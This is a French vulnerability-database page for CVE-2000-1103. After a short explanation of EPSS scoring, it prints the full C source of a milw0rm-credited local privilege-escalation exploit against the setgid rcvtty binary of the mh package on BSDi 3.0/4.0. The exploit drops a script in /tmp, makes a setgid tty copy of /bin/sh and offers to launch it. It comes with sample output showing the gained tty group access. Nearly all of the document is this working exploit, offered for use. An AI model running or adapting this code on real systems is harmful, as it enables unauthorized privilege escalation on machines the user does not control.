CVE-2000-1103 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* (BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[v9@fakehalo.org]. this exploit is for the rcvtty of the mh package, which is setgid=4(tty) on BSDi. this exploit gives you egid/group=4(tty) access. example: ------------------------------------------------- bash-2.02$ id uid=101(v9) gid=100(user) groups=100(user) bash-2.02$ cc xrcvtty.c -o xrcvtty bash-2.02$ ./xrcvtty [ (BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[v9@fakehalo.org]. ] [*] /usr/contrib/mh/lib/rcvtty appears to be setgid. [*] now making shell script to execute. [*] done, now building and executing the command line. [*] done, now checking for success. [*] success, /tmp/ttysh is now setgid. [*] finished, everything appeared to have gone successful. [?] do you wish to enter the sgidshell now(y/n)?: y [*] ok, executing shell(/tmp/ttysh) now. $ id uid=101(v9) gid=100(user) egid=4(tty) groups=4(tty), 100(user) $ ------------------------------------------------- info: findings and exploit by v9[v9@fakehalo.org]. */ #define PATH "/usr/contrib/mh/lib/rcvtty" /* path to rcvtty. */ #define MAKESHELL "/tmp/mksh.sh" /* tmpfile to exec. */ #define SGIDSHELL "/tmp/ttysh" /* gidshell location. */ #include <stdio.h> #include <sys/stat.h> main() { char cmd[256],in[1]; struct stat mod1,mod2; FILE *sgidexec; fprintf(stderr,"[ (BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[v9@fakehalo.org]. ]\n\n",PATH); if(stat(PATH,&mod1)){ fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH); exit(1); } else if(mod1.st_mode==34285){ fprintf(stderr,"[*] %s appears to be setgid.\n",PATH); } else { fprintf(stderr,"[!] failed, %s doesn't appear to be setgid.\n",PATH); exit(1); } fprintf(stderr,"[*] now making shell script to execute.\n"); unlink(MAKESHELL); sgidexec=fopen(MAKESHELL,"w"); fprintf(sgidexec,"#!/bin/sh\n"); fprintf(sgidexec,"cp /bin/sh %s\n",SGIDSHELL); fprintf(sgidexec,"chgrp tty %s\n",SGIDSHELL); fprintf(sgidexec,"chmod 2755 %s\n",SGIDSHELL); fclose(sgidexec); chmod(MAKESHELL,33261); fprintf(stderr,"[*] done, now building and executing the command line.\n"); snprintf(cmd,sizeof(cmd),"echo yes | %s %s 1>/dev/null 2>&1",PATH,MAKESHELL); system(cmd); unlink(MAKESHELL); fprintf(stderr,"[*] done, now checking for success.\n"); if(stat(SGIDSHELL,&mod2)){ fprintf(stderr,"[!] failed, %s doesn't exist.\n",SGIDSHELL); exit(1); } else if(mod2.st_mode==34285){ fprintf(stderr,"[*] success, %s is now setgid.\n",SGIDSHELL); } else { fprintf(stderr,"[!] failed, %s doesn't appear to be setgid.\n",SGIDSHELL); exit(1); } fprintf(stderr,"[*] finished, everything appeared to have gone successful.\n"); fprintf(stderr,"[?] do you wish to enter the sgidshell now(y/n)?: "); scanf("%s",in); if(strcmp(in,"y")){ printf("[*] ok, aborting execution, the shell is: %s.\n",SGIDSHELL); } else{ printf("[*] ok, executing shell(%s) now.\n",SGIDSHELL); execl(SGIDSHELL,SGIDSHELL,0); } exit(0); } // milw0rm.com [2000-11-21]